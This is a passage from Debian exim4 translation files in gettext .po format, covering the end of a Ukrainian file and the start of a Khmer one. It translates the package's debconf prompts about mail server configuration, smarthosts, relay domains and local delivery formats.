smarthost; no local mail" msgstr "відправлення через смартхост; без локальної пошти" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "тільки локальна доставка; не в мережі" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "не налаштовувати зараз" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Загальний тип поштових налаштувань:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Виберіть, будь ласка, тип налаштувань поштового сервера, який вам підходить " "більше." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Системи із динамічною IP-адресою, включно із системами з комутованим " "з'єднанням, зазвичай потрібно налаштовувати для відсилання вихідної пошти " "іншій машині, яка називається \"смартхост\", оскільки багато систем, що " "отримують пошту в Інтернеті блокують вхідну пошту з динамічних IP-адрес, як " "захист від спаму." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Система з динамічною IP-адресою може отримувати свою власну пошту, або " "локальну доставку може бути заборонено взагалі (за виключенням пошти від " "користувачів root і postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Ви впевнені, що хочете залишити поштову систему неналаштованою?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Доки поштову систему не буде налаштовано, вона буде непрацездатною та не " "зможе бути використана. Пізніше, налаштування можна зробити або вручну, або " "запустивши \"dpkg-reconfigure exim4-config\" як root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Поштове ім'я системи:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "\"Поштове ім'я\" - це назва домену, що використовується для \"кваліфікації\" " "поштових адрес без назви домену." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Це ім'я також буде використовуватися іншими програмами. Це повинна бути " "унікальна повна назва домену (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Наприклад, якщо поштова адреса локального вузла - foo@example.org, то " "правильним значенням для цієї опції буде example.org." #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Це ім'я не буде з'являтися в рядках From: вихідної пошти якщо дозволено " "перезапис." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Інші місця призначення, для яких буде прийматися пошта:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Введіть, будь ласка, список розділених крапкою з комою доменів отримувачів, " "для яких дана машина повинна вважати себе місцем призначення. Ці домени " "часто назвиють \"локальними доменами\" (local domains).Локальне ім'я вузла " "(${fqdn}) та \"localhost\" будуть завжди додані до цього списку." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "За замовчанням всі локальні домени будуть оброблятися однаково. Якщо і a." "example, і b.example - локальні домени, то acc@a.example і acc@b.example " "доставлятимуться в одне місце призначення. Якщо ви хочете, щоб різні імена " "доменів оброблялися по-різному, вам потрібно буде відредагувати файли " "налаштувань пізніше." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Домени, для яких дозволена передача пошти:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Введіть, будь ласка, список, розділений крапкою з комою, доменів-" "отримувачів, для яких ця система буде перенаправляти пошту, наприклад, як " "додатковий MX або поштовий шлюз. Це означає, що ця система прийматиме пошту " "для тих доменів з будь-якого місця в Інтернеті і доставлятиме її згідно " "правил локальної доставки." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Не вказуйте тут локальні домени. Можна використовувати шаблони." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Машини, яким дозволена передача пошти:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Введіть, будь ласка, список розділених крапкою з комою проміжків IP-адрес, " "для яких ця система буде довільним чином перенаправляти пошту, функціонуючи " "як смартхост." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Використовуйте стандартний формат - адреса/префікс (напр. 194.222.242.0/24 " "або 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Якщо ця система не повинна бути смартхостом для жодного іншого вузла, то " "залиште це поле порожнім." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Видиме ім'я домену для локальних користувачів:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Було зроблено вибір приховувати локальну частину поштової адреси пошти, що " "відсилається назовні. Тому необхідно вказати назву домену, що буде " "використовуватись для локальних користувачів в якості доменної частини " "адреси відправника." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "" "IP-адреса або назва машини, яка використовується в якості зовнішнього " "смартхосту:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Будь ласка, введіть IP-адресу або назву поштового серверу, що цією системою " "буде використовуватись в якості зовнішнього смартхосту. Якщо смартхост " "приймає вашу пошту лише на відмінному від TCP/25 порту, додайте дві " "двокрапти та номер порта (наприклад, smarthost.example::587 або " "192.168.254.254::2525). Кількість двокрапок для IPv6-адрес потрібно подвоїти." #. Type: string #. Description #: ../exim4-config.templates:8001 #, fuzzy msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Якщо смартхост вимагає автентифікації, будь ласка, зверніться до приміток " "щодо SMTP-автентифікації в /usr/share/doc/exim4-base/README.Debian.gz." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Отримувач пошти для root та postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Пошта для \"postmaster\", \"root\" та інших системних облікових записів " "повинна перенаправлятися користувацькому обліковому запису справжнього " "адміністратора системи." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Якщо ви залишите це поле порожнім, така пошта буде зберігатися в /var/mail/" "mail, що не рекомендується." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Зауважте, що пошта для \"postmaster\" повинна читатися на системі, для якої " "вона призначена, а не переслана в інше місце, таким чином, користувачі, яких " "ви вкажете тут (чи хоча б один із них) не повинні перенаправляти пошту із " "цієї машини. Використовуйте префікс \"real-\" для примусової локальної " "доставки." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "" "При вводі декількох імен користувачів значення повинні розділятись пробілами." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "IP-адреси на яких очікувати SMTP-з'єднання:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Будь ласка, введіть список IP-адрес, виокремлюючи їх крапкою з комою. SMTP-" "демон Exim прослуховуватиме всі вказані тут IP-адреси." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Якщо ви залишите це поле порожнім, то Exim буде очікувати на з'єднання на " "всіх наявних мережевих інтерфейсах." #. Type: string #. Description #: ../exim4-config.templates:10001 #, fuzzy msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Якщо ця система отримує пошту тільки напряму від локальних служб таких, як " "fetchmail або ж ваша поштова програма (MUA) звертається до localhost (і не з " "інших вузлів), то рекомендується заборонити зовнішні з'єднання до локального " "Exim. Це можна зробити ввівши тут 127.0.0.1 . Це заборонить прослуховування " "загальнодоступних мережевих інтерфейсів." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Тримати кількість DNS-запитів мінімальною (Dial-on-Demand)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "В нормальному режимі Exim робить DNS запити при запуску і при отриманні або " "відправленні пошти. Це здійснюється для потреб реєстрації та з метою " "зменшення числа параметрів, що вказуються у файлі налаштувань." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Якщо це вузол без постійного доступу до сервера імен DNS (наприклад, якщо " "доступ до Інтернет відбувається з використанням комутованого з'єднання і " "dial-on-demand), то це може мати небажані наслідки. Наприклад, запуск Exim " "або запуск черги (навіть без повідомлень, що очікують доставки) можуть " "викликати коштовне з'єднання з Інтернет." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Виберіть цю опцію, якщо ця система використовує Dial-on-Demand. Якщо система " "має завжди доступний доступ до Інтернет, ця опція не повинна бути " "встановлена." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Налаштування поштового сервера" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Розділити налаштування на малі файли?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Створення робочих конфігураційних файлів пакунки Debian exim4 можуть " "проводити двома шляхами: використовуючи так звану \"монолітну конфігурацію" "\", створюючи один загальний файл /etc/exim4/exim4.conf.template), або ж " "\"розщеплену конфігурацію\", близько 40 малих файлів в теці /etc/exim4/conf." "d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "\"Монолітна конфігурація\" більше підходить для великих модифікацій та " "звичайно є більш стабільною, в той час як \"розщеплена конфігурація\" більше " "підходить для малих модифікацій але є більш ламкою і її можна легко " "пошкодити при необережному внесенні змін." #. Type: boolean #. Description #: ../exim4-config.templates:13001 #, fuzzy msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Детальніше обговорення проблематики \"монолітної\" та \"розщепленої\" " "конфігурації можна знайти в файлі /usr/share/doc/exim4-base/README.Debian.gz." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Приховувати локальне поштове ім'я у пошті, що відправляється?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Заголовки пошти, що відправляється, будуть переписані таким чином, що буде " "здаватися, ніби вони були створені на іншій системі. При виборі цієї опції " "значення \"${mailname}\", \"localhost\" та \"${dc_other_hostnames}\" в полях " "From, Reply-To, Sender та Return-Path будуть перезаписані." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "формат mbox в /var/mail" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "формат Maildir в домашній теці" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Метод доставки для локальної пошти:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim дозволяє зберігати пошту, що доставляється локально, в різних форматах. " "Найбільш широко застосовні з них -- це mbox та Maildir. mbox використовує " "єдиний файл для всієї поштової теки. Він знаходиться в /var/mail/. Формат " "Maildir передбачає зберігання кожного повідомлення в окремому файлі в теці ~/" "Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Будь ласка, зауважте, що більшість поштових інструментів Debian очікують на " "те, що зазвичай методом доставки локальної пошти є саме mbox." #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "Перемістити недоставлені повідомлення з черги exim 3 до черги exim4?" #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "В теці черги exim 3 (або exim-tls 3), /var/spool/exim/input/, є " #~ "недоставлені повідомлення." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Після вибору цієї опції ці повідомлення будуть переміщені у чергу exim4 (/" #~ "var/spool/exim4/input/), де вони оброблятимуться exim4." #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Це працює тільки в одному напрямку: Exim4 може обробляти чергу exim 3, " #~ "але не навпаки. Якщо ви не виберете цю опцію, вам потрібно буде " #~ "перемістити повідомлення вручну, інакше вони ніколи не будуть доставлені." debian/po/km.po0000644000000000000000000011703312027557533010571 0ustar # translation of km.po to Khmer # Eng Vannak , 2006. # Auk Piseth , 2006. # Khoem Sokhem , 2006, 2007. msgid "" msgstr "" "Project-Id-Version: km\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-06-08 13:57+0700\n" "Last-Translator: Khoem Sokhem \n" "Language-Team: Khmer \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: KBabel 1.11.4\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "យក​សារ​ដែលមិនបានផ្ដល់​ចេញ​នៅ​ក្នុង​ថត​ហុង ?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "មាន​សារ​អ៊ីមែល​មួយ​នៅ​ក្នុង​ថត​ហុង Exim /var/spool/exim4/input/ ដែល​មិន​ត្រូវ​បានបញ្ជូននៅ​ឡើយទេ ។ " "ការ​យក​ Exim នឹង​បណ្ដាល​ឲ្យ​ពួកវា​នៅតែ​មិនបានបញ្ជូន​រហូត​ដល់ Exim ត្រូវ​បាន​ដំឡើង​ម្ដង​ទៀត ។" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "ប្រសិន​បើ​ជម្រើស​នេះ​មិន​ត្រូវ​បាន​ជ្រើស ថត​ហុង​ត្រូវ​ត្រូវ​បាន​រក្សាទុក សារ​ដូច​ខាង​ក្រោម​នេះ​នៅ​ក្នុងជួរ​ត្រូវ​បញ្ជូន​" "ពេលក្រោយ​បន្ទាប់​ពី Exim ត្រូវ​បាន​ដំឡើង​ឡើង​វិញ ។" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "កំណត់​រចនា​សម្ព័ន្ធ exim4-config ជំនួស​ឲ្យ​កញ្ចប់​នេះ" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 មាន​ការ​កំណត់​រចនា​សម្ព័ន្ធ​របស់វា បាន​ដាក់​ក្នុង​កញ្ចប់​ដែល​បាន​ផ្ដល់​ឲ្យ exim4-config ។ ដើម្បី​កំណត់​" "រចនាសម្ព័ន្ធ Exim4 ប្រើ 'dpkg-reconfigure exim4-config' ។" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "តំបន់​អ៊ីនធឺណិត សំបុត្រ​ត្រូវ​បាន​ផ្ញើ​ និង​​ទទួល​​ដោយ​ប្រើ​ SMTP​ផ្ទាល់" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "សំបុត្រ​បាន​ផ្ញើ​​ដោយ​ smarthost បាន​ទទួល​តាម​រយៈ SMTP ឬ fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "សំបុត្រ​បាន​ផ្ញើ​ដោយ smarthost គ្មាន​​សំបុត្រ​មូលដ្ឋាន​ទេ​" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "បញ្ជូន​តែ​មូលដ្ឋាន​ប៉ុណ្ណោះ មិនមែន​នៅលើ​បណ្តាញ​ទេ" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "គ្មាន​ការ​កំណត់​រចនា​សម្ព័ន្ធ​នៅ​ពេល​នេះ​​" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "ប្រភេទ​ទូទៅ​នៃ​ការ​កំណត់​រចនាសម្ព័ន្ធ​សំបុត្រ ៖" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "សូម​ជ្រើស​ប្រភេទ​កំណត់​រចនាសម្ព័ន្ធ​ម៉ាស៊ីន​បម្រើ​សំបុត្រ ដែល​ត្រូវ​នឹង​តម្រូវការ​របស់​អ្នក ។" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "ប្រព័ន្ធ​ដែល​មាន​អាសយដ្ឋាន IP ថាមវន្ត រួមមាន​ប្រព័ន្ធ​ទូស័ព្ទ គួរ​ត្រូវ​បាន​កំណត់​រចនាសម្ព័ន្ធ​ជា​ទូទៅ​ដើម្បី​ផ្ញើ​" "សំបុត្រ​ចេញ​ទៅ​ម៉ាស៊ីន​ផ្សេង ដែល​គេ​ហៅថា \"smarthost\" សម្រាប់​បញ្ជូន ពី​ព្រោះ​ប្រព័ន្ធ​ទទួល​ជា​ច្រើន​នៅ​លើ​" "អ៊ីនធឺណិត ទប់ស្កាត់​សំបុត្រ​ចូល​ពី​អាសយដ្ឋាន IP ថាម​វន្តជា​ការ​ការពារ​សារ​ឥត​បាន​ការ ។" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "ប្រព័ន្ធ​មួយ​ដែល​មាន​អាសយដ្ឋាន IP ថាមវន្ត​អាច​ទទួល​សំបុត្រ​ផ្ទាល់​របស់​វា ឬ​ការបញ្ជូន​ក្នុង​មូលដ្ឋាន​អាច​ត្រូវ​បាន​" "បិទ​ទាំង​មូល (លើក​លែង​តែ​សំបុត្រ​សម្រាប់ root និង postmaster) ។" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "ពិត​ជា​ទុកឲ្យ​​ប្រព័ន្ធ​សំបុត្រ​​​​មិនត្រូវ​​បាន​កំណត់​រចនា​សម្ព័ន្ធ​មែន​ទេ ?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "រហូត​ដល់​ប្រព័ន្ធ​សំបុត្រ​ត្រូវ​បាន​កំណត់​រចនា​សម្ព័ន្ធ វានឹ​ងខូច ហើយ​មិន​អាច​ត្រូវ​បាន​ប្រើ ។ ការ​កំណត់​រចនាសម្ព័ន្ធ​នៅ​" "ពេល​ក្រោយ​អាច​ត្រូវ​បាន​ធ្វើ ឬដោយដៃ ឬដោយ​រត់ 'dpkg-reconfigure exim4-config' \n" "ជា root ។" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "ឈ្មោះ​ប្រព័ន្ធ​សំបុត្រ ៖" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "\"ឈ្មោះ​សំបុត្រ\" គឺ​ជា​ឈ្មោះ​ដែន​ដែល​បាន​ប្រើ​ដើម្បី \"បញ្ជាក់​លក្ខណៈ\" អាសយដ្ឋាន​អ៊ីមែល​ដោយ​គ្មាន​ឈ្មោះ​" "ដែន  ។" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "​ឈ្មោះ​នេះ​នឹង​ត្រូវ​បាន​ប្រើ​ផង​ដែរ​ដោយ​កម្មវិធី​ផ្សេង ។ វា​គួរ​តែ​មាន​តែមួយ ឈ្មោះ​ដែន​ដែល​បាន​បញ្ជាក់​លក្ខណៈ​" "ពេញលេញ (FQDN) ។" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "ដូច្នេះ ប្រសិន​បើ​អាសយដ្ឋាន​សំបុត្រ​នៅ​លើ​ម៉ាស៊ីន​មូលដ្ឋាន​គឺ foo@example.org តម្លៃ​ត្រឹមត្រូវ​សម្រាប់​ជម្រើស​" "នេះ​នឹង​ជា example.org ។" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "ឈ្មោះ​នេះ​មិនបង្ហាញ​​នៅ​លើ ពី នោះ​ទេ ៖ បន្ទាត់​របស់​សារ​ចេញ​ប្រសិន​​បើ​កា​រសេរសេរ​ជាន់​ត្រូវ​បាន​អនុញ្ញាត ។" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "ទិសដៅ​ផ្សេង​ទៀត ​សម្រាប់​សំបុត្រ​ណា​មួយ​​​ត្រូវ​បាន​​ទទួល​យក ៖" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "សូម​បញ្ចូល​បញ្ជី​ដែន​អ្នក​ទទួល​ដែល​បំបែក​ដោយ​សញ្ញា(;) ដែល​ម៉ាស៊ីន​នេះ​គួរ​ពិចារណាទិស​ដៅ​ចុង​ក្រោយ​ដោយ​ខ្លួន​ឯង ។ " "ដែន​ទាំង​នេះ​តាម​ធម្មតា​ត្រូវ​បាន​ហៅ​ថា 'ដែន​មូលដ្ឋាន' ។ ឈ្មោះ​ម៉ាស៊ីន​មូលដ្ឋាន (${fqdn}) និង " "'localhost' តែង​តែ​ត្រូវ​បាន​បន្ថែម​ទៅកាន់​បញ្ជី​ដែល​បានផ្ដល់​ឲ្យ​នៅ​ទីនេះ ។។" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "តាម​លំនាំ​ដើម​ដែនមូលដ្ឋាន​នឹង​ត្រូវ​បាន​ធ្វើ​យ៉ាង​ដូចគ្នា​បះបិទ ។ ប្រសិន​បើ​ទាំងពីរ a.example និង b." "example គឺជា​ដែន​មូលដ្ឋាន acc@a.example និង acc@b.example នឹង​ត្រូវ​បាន​ផ្ដល់​ទៅ​ទិសដៅ​ចុង​ក្រោយ​" "ដូចគ្នា ។ ប្រសិន​បើ​ឈ្មោះ​ដែន​ខុសគ្នា​គួរ​ត្រូវ​បាន​ធ្វើ​យ៉ាង​ដូចគ្នា​បះបិទ បន្ទាប់​មក​វា​ចាំបាច់​ត្រូវ​កែសម្រួល​" "ឯកសារ config ។" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "ដែន​ត្រូវ​បញ្ជូន​សំបុត្រ​​តសម្រាប់ ៖" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "សូម​បញ្ចូល​បញ្ជី​ដែន​អ្នក​ទទួល​ដែល​បំបែក​ដោយ​សញ្ញា(;) 